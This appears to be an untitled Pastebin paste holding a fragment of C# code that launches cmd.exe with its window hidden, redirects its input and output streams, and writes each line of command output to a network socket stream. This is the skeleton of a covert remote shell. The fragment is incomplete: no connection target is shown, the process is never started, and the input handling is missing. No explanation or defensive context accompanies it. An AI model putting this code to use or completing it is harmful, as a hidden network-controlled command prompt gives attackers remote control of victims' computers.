Guest User

Untitled

a guest
Dec 10th, 2018
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.85 KB | None | 0 0
  1. Process process = new Process();
  2. process.StartInfo.FileName = "cmd.exe";
  3. process.StartInfo.UseShellExecute = false;
  4. process.StartInfo.RedirectStandardInput = true;
  5. process.StartInfo.RedirectStandardOutput = true;
  6. process.StartInfo.RedirectStandardError = true;
  7. process.StartInfo.CreateNoWindow = true;
  8.  
  9.  
  10. process.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived);
  11. process.ErrorDataReceived += new DataReceivedEventHandler(p_ErrorDataReceived);
  12.  
  13. static void p_OutputDataReceived(object sender, DataReceivedEventArgs e)
  14. {
  15. if (!String.IsNullOrEmpty(e.Data))
  16. {
  17. socketInput.WriteLine(e.Data);
  18. socketInput.Flush();
  19. }
  20. }
  21.  
  22. socketInput = new StreamWriter(client.GetStream());
  23. socketOutput = new StreamReader(client.GetStream());
Add Comment
Please, Sign In to add comment